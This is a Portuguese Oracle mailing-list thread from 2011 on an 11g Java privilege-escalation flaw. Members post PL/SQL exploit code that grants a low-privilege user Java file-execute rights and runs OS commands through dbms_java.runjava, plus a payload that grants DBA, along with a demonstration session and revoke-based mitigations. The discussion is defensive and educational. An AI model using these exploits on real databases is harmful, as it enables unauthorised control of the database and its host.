Re: [oracle_br] Falha de segurança do 11g

2011-05-03 Por tôpico Ivan Ricardo Schuster
Bom, a informação de que A Oracle não tem patch…nem se pronuciou
quanto a falha é de fevereiro de 2010.

Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código
que liberaria o usuário para executar algo no SO é este:

DECLARE
  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  CURSOR C1 IS SELECT 'GRANT',USER(),
'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
from dual;
BEGIN
  OPEN C1;
  FETCH C1 BULK COLLECT INTO POL;
  CLOSE C1;
  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;

Este código NÃO funciona com usuário comum (grant create session) em
uma base 11.2.0.2, conforme demonstrado:

SQL create user ivan1 identified by ivan1;
User created.

SQL grant create session to ivan1;
Grant succeeded.

SQL conn ivan1/ivan1
Connected.
SQL DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT 'GRANT',USER(),
'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
from dual;
  4  BEGIN
  5  OPEN C1;
  6  FETCH C1 BULK COLLECT INTO POL;
  7  CLOSE C1;
  8  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9  END;
 10  /

  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  *
ERROR at line 2:
ORA-06550: line 2, column 7:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 7:
PL/SQL: Item ignored
ORA-06550: line 6, column 30:
PLS-00320: the declaration of the type of this expression is
incomplete or malformed
ORA-06550: line 6, column 3:
PL/SQL: SQL Statement ignored
ORA-06550: line 8, column 39:
PLS-00320: the declaration of the type of this expression is
incomplete or malformed
ORA-06550: line 8, column 3:
PL/SQL: Statement ignored

A outra vulnerabilidade descrita no documento, para dar grant de DBA
ao usuário, também não funcionou:

SQL SELECT 
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS',
'writeOutputToFile','TEXT', NULL, NULL, NULL,
NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE
IMMEDIATE ''GRANT DBA TO GREMLIN''; END;', 'BEGIN NULL; END;') FROM
DUAL;

DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','ORACLE/AURORA/RDBMS/DBMSJAVA','SYS','WRITEOUTPUTTOFILE','TEXT',NULL,NULL,NULL,NULL,0,1,1,1,1,0,'DECLAREPRAGMAAUTONOMOUS_TRANSACTION;BEGINEXECUTEIMMEDIATE''GRANTDBAT


SQL EXEC 
DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
BEGIN DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());
END;

*
ERROR at line 1:
ORA-31425: subscription does not exist
ORA-06512: at SYS.DBMS_CDC_ISUBSCRIBE, line 59
ORA-06512: at line 1

SQL set role dba;
set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist

Não tenho base 11gR1 nem 11.2.0.1 para testar, alguem pode testar e
postar o resultado?

2011/5/2 Neto Longhi neto.lon...@gmail.com:
 Pessoal, achei uma materia no blog do Alessandro Guimarães, sobre Falha de
 segurança do 11g. Não sabia disso e achei interessante postar aqui.
 tai o link
 http://aguimaraes.wordpress.com/

 David Litchfield, achou vulnerabilidades de segurança no Oracle 11g, embora
 os testes que eles fez tenham sido na versão 11gR2, a falha também acontece
 no Oracle 11gR1.
 O problema acontece devido a privilégios super generosos para as procedures
 java, permitindo que um usuario com apenas privilegio de create sesssion,
 possa se tornar um DBA, tendo assim total controle do banco.
 Alem disso, este mesmo usuario pode, com um simples select executar comandos
 do sistema operacional, como por exemplo gerar um arquivo.txt.
 Em casa fiz um teste e consegui t criar um usuario no sistema operacional e
 torna-lo membro do grupo administrator do windows. Terrivel não. ?
 A Oracle não tem patch…nem se pronuciou quanto a falha. No entanto você pode
 fazer sua parte. Basta fazer o revoke do PUBLIC das seguintes packages:

 *revoke execute on DBMS_JVM_EXP_PERMS from public;
 revoke execute on DBMS_JAVA from public;
 revoke execute on DBMS_JAVA_TEST from  public;*


 --
 Att,
 José Longhi Laurindo Neto
 Bacharel em Ciência da Computação.
 DBA Oracle Jr.
 Tel: (91) 81970312
 E-mail: neto.lon...@gmail.com


 [As partes desta mensagem que não continham texto foram removidas]



 

 --
Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira 
responsabilidade de seus remetentes.
 Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/
 --
Apostilas » 

RES: [oracle_br] Falha de segurança do 11g

2011-05-03 Por tôpico Alessandro Guimarães
Neto e Ivan,
Aqui vai um exemplo ate o usuário conseguir importar permissões Java
F:\pathsqlplus / as sysdba

SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011

Copyright (c) 1982, 2007, Oracle.  All rights reserved.


Conectado a:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing
options

SQL select * from v$version;

BANNER


Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
PL/SQL Release 11.1.0.6.0 - Production
CORE11.1.0.6.0  Production
TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
NLSRTL Version 11.1.0.6.0 - Production

SQL create user alex identified by senha;

Usußrio criado.

SQL grant create session to alex;

ConcessÒo bem-sucedida.


=== Aqui podemos ver que o usuário apenas tem o priv de create session
SQL connect alex/senha
Conectado.
SQL select * from session_roles;

nÒo hß linhas selecionadas

SQL select * from session_privs;

PRIVILEGE

CREATE SESSION

=

Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$
SQL conn / as sysdba
Conectado.
SQL SELECT type_name, name , action
  2  FROM  sys.dba_java_policy  == esta view eh basead em java$policy$
  3  WHERE  grantee = 'ALEX'
  4  /

nÒo hß linhas selecionadas



Conecta novamente como o usuário e importa os privilégios. O furo aqui é o
privilegio de execute to public em dbms_jvm_exp_perms
=
SQL conn alex/senha
Conectado.
SQL DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT 'GRANT',USER(),
'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from
dual;
  4  BEGIN
  5  OPEN C1;
  6  FETCH C1 BULK COLLECT INTO POL;
  7  CLOSE C1;
  8  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9  END;
 10  /

Procedimento PL/SQL concluÝdo com sucesso.



Verifica aqui que o usuario agora tem priveligios de execute 
SQL conn / as sysdba
Conectado.
SQL col type_name for a30
SQL col name for a30
SQL col action for a10
SQL SELECT type_name, name , action
  2  FROM  sys.dba_java_policy
  3  WHERE  grantee = 'ALEX'
  4  /

TYPE_NAME  NAME   ACTION
-- -- --
java.io.FilePermission ALL FILES  execute

SQL

A partir daqui posso como usuário ALEX posso executar um comando do sistema
operacional. Por exemplo


SQL conn alex/senha
Conectado.
SQL set time on
11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper
c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual;

DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/
CDIR




11:15:36 SQL


Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo

C:\Documents and Settings\Alessandrocd\

C:\dir blah.txt
 O volume na unidade C não tem nome.
 O número de série do volume é 9C90-1F08

 Pasta de C:\

03/05/2011  11:15 1.281 blah.txt
   1 arquivo(s)  1.281 bytes
   0 pasta(s) 14.178.578.432 bytes disponíveis


E posso virar dba, administrador da maquina...
Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em
10.2.0.4

Abraços
Alessandro Guimaraes
http://aguimaraes.wordpress.com.br


-Mensagem original-
De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
nome de Ivan Ricardo Schuster
Enviada em: terça-feira, 3 de maio de 2011 10:01
Para: oracle_br@yahoogrupos.com.br
Assunto: Re: [oracle_br] Falha de segurança do 11g

Bom, a informação de que A Oracle não tem patch…nem se pronuciou
quanto a falha é de fevereiro de 2010.

Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código
que liberaria o usuário para executar algo no SO é este:

DECLARE
  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  CURSOR C1 IS SELECT 'GRANT',USER(),
'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
from dual;
BEGIN
  OPEN C1;
  FETCH C1 BULK COLLECT INTO POL;
  CLOSE C1;
  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;

Este código NÃO funciona com usuário comum (grant create session) em
uma base 11.2.0.2, conforme demonstrado:

SQL create user ivan1 identified by ivan1;
User created.

SQL grant create session to ivan1;
Grant succeeded.

SQL conn ivan1/ivan1
Connected.
SQL DECLARE
  2  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3  CURSOR C1 IS SELECT 'GRANT',USER(),
'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
from dual;
  4  BEGIN
  5  OPEN C1;
  6  FETCH C1 BULK COLLECT INTO POL;
  7  CLOSE C1;
  8  DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9  END;
 10  /

  POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  *
ERROR at line 2:
ORA-06550: line 2, column 7:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must

Re: [oracle_br] Falha de segurança do 11g

2011-05-03 Por tôpico Raul Francisco Costa F. de Andrade, DBA
Isso foi corrigido na 11.2.X...

Raul

Em 3 de maio de 2011 11:19, Alessandro Guimarães 
alessan...@applysolutions.com.br escreveu:



 Neto e Ivan,
 Aqui vai um exemplo ate o usuário conseguir importar permissões Java
 F:\pathsqlplus / as sysdba

 SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011

 Copyright (c) 1982, 2007, Oracle. All rights reserved.

 Conectado a:
 Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
 With the Partitioning, OLAP, Data Mining and Real Application Testing
 options

 SQL select * from v$version;

 BANNER
 --
 
 Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
 PL/SQL Release 11.1.0.6.0 - Production
 CORE 11.1.0.6.0 Production
 TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
 NLSRTL Version 11.1.0.6.0 - Production

 SQL create user alex identified by senha;

 Usußrio criado.

 SQL grant create session to alex;

 ConcessÒo bem-sucedida.

 === Aqui podemos ver que o usuário apenas tem o priv de create session
 SQL connect alex/senha
 Conectado.
 SQL select * from session_roles;

 nÒo hß linhas selecionadas

 SQL select * from session_privs;

 PRIVILEGE
 
 CREATE SESSION

 =

 Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$
 SQL conn / as sysdba
 Conectado.
 SQL SELECT type_name, name , action
 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$
 3 WHERE grantee = 'ALEX'
 4 /

 nÒo hß linhas selecionadas

 
 Conecta novamente como o usuário e importa os privilégios. O furo aqui é o
 privilegio de execute to public em dbms_jvm_exp_perms
 =
 SQL conn alex/senha
 Conectado.
 SQL DECLARE
 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 3 CURSOR C1 IS SELECT 'GRANT',USER(),
 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from
 dual;
 4 BEGIN
 5 OPEN C1;
 6 FETCH C1 BULK COLLECT INTO POL;
 7 CLOSE C1;
 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
 9 END;
 10 /

 Procedimento PL/SQL concluÝdo com sucesso.

 
 Verifica aqui que o usuario agora tem priveligios de execute
 SQL conn / as sysdba
 Conectado.
 SQL col type_name for a30
 SQL col name for a30
 SQL col action for a10
 SQL SELECT type_name, name , action
 2 FROM sys.dba_java_policy
 3 WHERE grantee = 'ALEX'
 4 /

 TYPE_NAME NAME ACTION
 -- -- --
 java.io.FilePermission ALL FILES execute

 SQL

 A partir daqui posso como usuário ALEX posso executar um comando do sistema
 operacional. Por exemplo

 SQL conn alex/senha
 Conectado.
 SQL set time on
 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper
 c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual;


 DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/
 CDIR
 --
 

 11:15:36 SQL

 Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo

 C:\Documents and Settings\Alessandrocd\

 C:\dir blah.txt
 O volume na unidade C não tem nome.
 O número de série do volume é 9C90-1F08

 Pasta de C:\

 03/05/2011 11:15 1.281 blah.txt
 1 arquivo(s) 1.281 bytes
 0 pasta(s) 14.178.578.432 bytes disponíveis

 E posso virar dba, administrador da maquina...
 Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em
 10.2.0.4

 Abraços
 Alessandro Guimaraes
 http://aguimaraes.wordpress.com.br

 -Mensagem original-
 De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
 nome de Ivan Ricardo Schuster
 Enviada em: terça-feira, 3 de maio de 2011 10:01
 Para: oracle_br@yahoogrupos.com.br
 Assunto: Re: [oracle_br] Falha de segurança do 11g

 Bom, a informação de que A Oracle não tem patch…nem se pronuciou
 quanto a falha é de fevereiro de 2010.

 Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código
 que liberaria o usuário para executar algo no SO é este:

 DECLARE
 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 CURSOR C1 IS SELECT 'GRANT',USER(),
 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
 from dual;
 BEGIN
 OPEN C1;
 FETCH C1 BULK COLLECT INTO POL;
 CLOSE C1;
 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
 END;

 Este código NÃO funciona com usuário comum (grant create session) em
 uma base 11.2.0.2, conforme demonstrado:

 SQL create user ivan1 identified by ivan1;
 User created.

 SQL grant create session to ivan1;
 Grant succeeded.

 SQL conn ivan1/ivan1
 Connected.
 SQL DECLARE
 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 3 CURSOR C1 IS SELECT 'GRANT',USER(),
 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
 from dual;
 4 BEGIN
 5 OPEN C1;
 6 FETCH C1 BULK COLLECT INTO POL;
 7 CLOSE C1;
 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
 9 END;
 10 /

 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 *
 ERROR at line 2:
 ORA-06550: line 2, column 7:
 PLS-00201: identifier 'DBMS_JVM_EXP_PERMS

Re: [oracle_br] Falha de segurança do 11g

2011-05-03 Por tôpico Neto Longhi
Nossa que furo. Vlw pela explicação Alessandro.
Pra ajeitar essa falha é só executar:
revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;
?

Em 3 de maio de 2011 11:19, Alessandro Guimarães 
alessan...@applysolutions.com.br escreveu:



 Neto e Ivan,
 Aqui vai um exemplo ate o usuário conseguir importar permissões Java
 F:\pathsqlplus / as sysdba

 SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011

 Copyright (c) 1982, 2007, Oracle. All rights reserved.

 Conectado a:
 Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
 With the Partitioning, OLAP, Data Mining and Real Application Testing
 options

 SQL select * from v$version;

 BANNER
 --
 
 Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
 PL/SQL Release 11.1.0.6.0 - Production
 CORE 11.1.0.6.0 Production
 TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
 NLSRTL Version 11.1.0.6.0 - Production

 SQL create user alex identified by senha;

 Usußrio criado.

 SQL grant create session to alex;

 ConcessÒo bem-sucedida.

 === Aqui podemos ver que o usuário apenas tem o priv de create session
 SQL connect alex/senha
 Conectado.
 SQL select * from session_roles;

 nÒo hß linhas selecionadas

 SQL select * from session_privs;

 PRIVILEGE
 
 CREATE SESSION

 =

 Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$
 SQL conn / as sysdba
 Conectado.
 SQL SELECT type_name, name , action
 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$
 3 WHERE grantee = 'ALEX'
 4 /

 nÒo hß linhas selecionadas

 
 Conecta novamente como o usuário e importa os privilégios. O furo aqui é o
 privilegio de execute to public em dbms_jvm_exp_perms
 =
 SQL conn alex/senha
 Conectado.

 SQL DECLARE
 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 3 CURSOR C1 IS SELECT 'GRANT',USER(),
 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from
 dual;
 4 BEGIN
 5 OPEN C1;
 6 FETCH C1 BULK COLLECT INTO POL;
 7 CLOSE C1;
 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
 9 END;
 10 /

 Procedimento PL/SQL concluÝdo com sucesso.

 
 Verifica aqui que o usuario agora tem priveligios de execute
 SQL conn / as sysdba
 Conectado.
 SQL col type_name for a30
 SQL col name for a30
 SQL col action for a10
 SQL SELECT type_name, name , action
 2 FROM sys.dba_java_policy
 3 WHERE grantee = 'ALEX'
 4 /

 TYPE_NAME NAME ACTION
 -- -- --

 java.io.FilePermission ALL FILES execute

 SQL

 A partir daqui posso como usuário ALEX posso executar um comando do sistema
 operacional. Por exemplo

 SQL conn alex/senha
 Conectado.
 SQL set time on
 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper
 c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual;


 DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/
 CDIR
 --
 

 11:15:36 SQL

 Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo

 C:\Documents and Settings\Alessandrocd\

 C:\dir blah.txt
 O volume na unidade C não tem nome.
 O número de série do volume é 9C90-1F08

 Pasta de C:\

 03/05/2011 11:15 1.281 blah.txt
 1 arquivo(s) 1.281 bytes
 0 pasta(s) 14.178.578.432 bytes disponíveis

 E posso virar dba, administrador da maquina...
 Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer em
 10.2.0.4

 Abraços
 Alessandro Guimaraes
 http://aguimaraes.wordpress.com.br

 -Mensagem original-
 De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
 nome de Ivan Ricardo Schuster
 Enviada em: terça-feira, 3 de maio de 2011 10:01
 Para: oracle_br@yahoogrupos.com.br
 Assunto: Re: [oracle_br] Falha de segurança do 11g


 Bom, a informação de que A Oracle não tem patch…nem se pronuciou
 quanto a falha é de fevereiro de 2010.

 Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código
 que liberaria o usuário para executar algo no SO é este:

 DECLARE
 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 CURSOR C1 IS SELECT 'GRANT',USER(),
 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
 from dual;
 BEGIN
 OPEN C1;
 FETCH C1 BULK COLLECT INTO POL;
 CLOSE C1;
 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
 END;

 Este código NÃO funciona com usuário comum (grant create session) em
 uma base 11.2.0.2, conforme demonstrado:

 SQL create user ivan1 identified by ivan1;
 User created.

 SQL grant create session to ivan1;
 Grant succeeded.

 SQL conn ivan1/ivan1
 Connected.
 SQL DECLARE
 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 3 CURSOR C1 IS SELECT 'GRANT',USER(),
 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED'
 from dual;
 4 BEGIN
 5 OPEN C1;
 6 FETCH C1 BULK COLLECT INTO POL;
 7 CLOSE C1;
 8

RES: [oracle_br] Falha de segurança do 11g

2011-05-03 Por tôpico Alessandro Guimarães
Neto,
Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os
revoke.
Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia
remove-la tbm
Se for necessário Java você pode criar uma role para as packages e conceder
privilegio de execute para esta role.
De qualquer forma qualquer caminho acima tem que avaliar todos os
riscos/efeitos colaterais.

Abraços
Alessandro Guimaraes
http://aguimaraes.wordpress.com


-Mensagem original-
De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
nome de Neto Longhi
Enviada em: terça-feira, 3 de maio de 2011 11:54
Para: oracle_br@yahoogrupos.com.br
Assunto: Re: [oracle_br] Falha de segurança do 11g

Nossa que furo. Vlw pela explicação Alessandro.
Pra ajeitar essa falha é só executar:
revoke execute on DBMS_JVM_EXP_PERMS from public;
revoke execute on DBMS_JAVA from public;
revoke execute on DBMS_JAVA_TEST from  public;
?

Em 3 de maio de 2011 11:19, Alessandro Guimarães 
alessan...@applysolutions.com.br escreveu:



 Neto e Ivan,
 Aqui vai um exemplo ate o usuário conseguir importar permissões Java
 F:\pathsqlplus / as sysdba

 SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011

 Copyright (c) 1982, 2007, Oracle. All rights reserved.

 Conectado a:
 Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
 With the Partitioning, OLAP, Data Mining and Real Application Testing
 options

 SQL select * from v$version;

 BANNER
 --
 
 Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
 PL/SQL Release 11.1.0.6.0 - Production
 CORE 11.1.0.6.0 Production
 TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
 NLSRTL Version 11.1.0.6.0 - Production

 SQL create user alex identified by senha;

 Usußrio criado.

 SQL grant create session to alex;

 ConcessÒo bem-sucedida.

 === Aqui podemos ver que o usuário apenas tem o priv de create session
 SQL connect alex/senha
 Conectado.
 SQL select * from session_roles;

 nÒo hß linhas selecionadas

 SQL select * from session_privs;

 PRIVILEGE
 
 CREATE SESSION

 =

 Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$
 SQL conn / as sysdba
 Conectado.
 SQL SELECT type_name, name , action
 2 FROM sys.dba_java_policy == esta view eh basead em java$policy$
 3 WHERE grantee = 'ALEX'
 4 /

 nÒo hß linhas selecionadas

 
 Conecta novamente como o usuário e importa os privilégios. O furo aqui é o
 privilegio de execute to public em dbms_jvm_exp_perms
 =
 SQL conn alex/senha
 Conectado.

 SQL DECLARE
 2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 3 CURSOR C1 IS SELECT 'GRANT',USER(),
 'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from
 dual;
 4 BEGIN
 5 OPEN C1;
 6 FETCH C1 BULK COLLECT INTO POL;
 7 CLOSE C1;
 8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
 9 END;
 10 /

 Procedimento PL/SQL concluÝdo com sucesso.

 
 Verifica aqui que o usuario agora tem priveligios de execute
 SQL conn / as sysdba
 Conectado.
 SQL col type_name for a30
 SQL col name for a30
 SQL col action for a10
 SQL SELECT type_name, name , action
 2 FROM sys.dba_java_policy
 3 WHERE grantee = 'ALEX'
 4 /

 TYPE_NAME NAME ACTION
 -- -- --

 java.io.FilePermission ALL FILES execute

 SQL

 A partir daqui posso como usuário ALEX posso executar um comando do
sistema
 operacional. Por exemplo

 SQL conn alex/senha
 Conectado.
 SQL set time on
 11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper
 c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual;



DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPERC:\\WINDOWS\\SYSTEM32\\CMD.EXE/
 CDIR
 --
 

 11:15:36 SQL

 Aqui abri uma janela cmd apenas pra confirmer a criação do arquivo

 C:\Documents and Settings\Alessandrocd\

 C:\dir blah.txt
 O volume na unidade C não tem nome.
 O número de série do volume é 9C90-1F08

 Pasta de C:\

 03/05/2011 11:15 1.281 blah.txt
 1 arquivo(s) 1.281 bytes
 0 pasta(s) 14.178.578.432 bytes disponíveis

 E posso virar dba, administrador da maquina...
 Embora tenha feito em 11.1.0.6 com algumas modificações vocês pode fazer
em
 10.2.0.4

 Abraços
 Alessandro Guimaraes
 http://aguimaraes.wordpress.com.br

 -Mensagem original-
 De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
 nome de Ivan Ricardo Schuster
 Enviada em: terça-feira, 3 de maio de 2011 10:01
 Para: oracle_br@yahoogrupos.com.br
 Assunto: Re: [oracle_br] Falha de segurança do 11g


 Bom, a informação de que A Oracle não tem patch…nem se pronuciou
 quanto a falha é de fevereiro de 2010.

 Conforme http://www.databasesecurity.com/HackingAurora.pdf , o código
 que liberaria o usuário para executar algo no SO é este:

 DECLARE
 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
 CURSOR C1 IS SELECT 'GRANT',USER

Re: [oracle_br] Falha de segurança do 11g

2011-05-03 Por tôpico Neto Longhi
OK Alessandro, vou estudar as minhas opçoes.
Obrigado

Em 3 de maio de 2011 12:23, Alessandro Guimarães 
alessan...@applysolutions.com.br escreveu:



 Neto,
 Se upgrade não for uma opção (no caso para 11.2.0.x) tem que fazer os
 revoke.
 Alguns bancos não precisam da Jvm do oracle (aurora) desta forma poderia
 remove-la tbm
 Se for necessário Java você pode criar uma role para as packages e conceder
 privilegio de execute para esta role.
 De qualquer forma qualquer caminho acima tem que avaliar todos os
 riscos/efeitos colaterais.


 Abraços
 Alessandro Guimaraes
 http://aguimaraes.wordpress.com

 -Mensagem original-
 De: oracle_br@yahoogrupos.com.br [mailto:oracle_br@yahoogrupos.com.br] Em
 nome de Neto Longhi
 Enviada em: terça-feira, 3 de maio de 2011 11:54

 Para: oracle_br@yahoogrupos.com.br
 Assunto: Re: [oracle_br] Falha de segurança do 11g

 Nossa que furo. Vlw pela explicação Alessandro.
 Pra ajeitar essa falha é só executar:
 revoke execute on DBMS_JVM_EXP_PERMS from public;
 revoke execute on DBMS_JAVA from public;
 revoke execute on DBMS_JAVA_TEST from public;
 ?

 Em 3 de maio de 2011 11:19, Alessandro Guimarães 
 alessan...@applysolutions.com.br escreveu:

 
 
  Neto e Ivan,
  Aqui vai um exemplo ate o usuário conseguir importar permissões Java
  F:\pathsqlplus / as sysdba
 
  SQL*Plus: Release 11.1.0.6.0 - Production on Ter Mai 3 10:39:30 2011
 
  Copyright (c) 1982, 2007, Oracle. All rights reserved.
 
  Conectado a:
  Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
  With the Partitioning, OLAP, Data Mining and Real Application Testing
  options
 
  SQL select * from v$version;
 
  BANNER
  --
  
  Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
  PL/SQL Release 11.1.0.6.0 - Production
  CORE 11.1.0.6.0 Production
  TNS for 32-bit Windows: Version 11.1.0.6.0 - Production
  NLSRTL Version 11.1.0.6.0 - Production
 
  SQL create user alex identified by senha;
 
  Usußrio criado.
 
  SQL grant create session to alex;
 
  ConcessÒo bem-sucedida.
 
  === Aqui podemos ver que o usuário apenas tem o priv de create session
  SQL connect alex/senha
  Conectado.
  SQL select * from session_roles;
 
  nÒo hß linhas selecionadas
 
  SQL select * from session_privs;
 
  PRIVILEGE
  
  CREATE SESSION
 
  =
 
  Aqui conecta como sys pr aver se ele tem algum privilegio na java$policy$
  SQL conn / as sysdba
  Conectado.
  SQL SELECT type_name, name , action
  2 FROM sys.dba_java_policy == esta view eh basead em java$policy$
  3 WHERE grantee = 'ALEX'
  4 /
 
  nÒo hß linhas selecionadas
 
  
  Conecta novamente como o usuário e importa os privilégios. O furo aqui é
 o
  privilegio de execute to public em dbms_jvm_exp_perms
  =
  SQL conn alex/senha
  Conectado.
 
  SQL DECLARE
  2 POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
  3 CURSOR C1 IS SELECT 'GRANT',USER(),
  'SYS','java.io.FilePermission','ALL FILES','execute','ENABLED' from
  dual;
  4 BEGIN
  5 OPEN C1;
  6 FETCH C1 BULK COLLECT INTO POL;
  7 CLOSE C1;
  8 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
  9 END;
  10 /
 
  Procedimento PL/SQL concluÝdo com sucesso.
 
  
  Verifica aqui que o usuario agora tem priveligios de execute
  SQL conn / as sysdba
  Conectado.
  SQL col type_name for a30
  SQL col name for a30
  SQL col action for a10
  SQL SELECT type_name, name , action
  2 FROM sys.dba_java_policy
  3 WHERE grantee = 'ALEX'
  4 /
 
  TYPE_NAME NAME ACTION
  -- -- --
 
  java.io.FilePermission ALL FILES execute
 
  SQL
 
  A partir daqui posso como usuário ALEX posso executar um comando do
 sistema
  operacional. Por exemplo
 
  SQL conn alex/senha
  Conectado.
  SQL set time on
  11:15:32 SQL select dbms_java.runjava('oracle/aurora/util/Wrapper
  c:\\windows\\system32\\cmd.exe /c dirc:\\blah.txt') from dual;
 
 
 

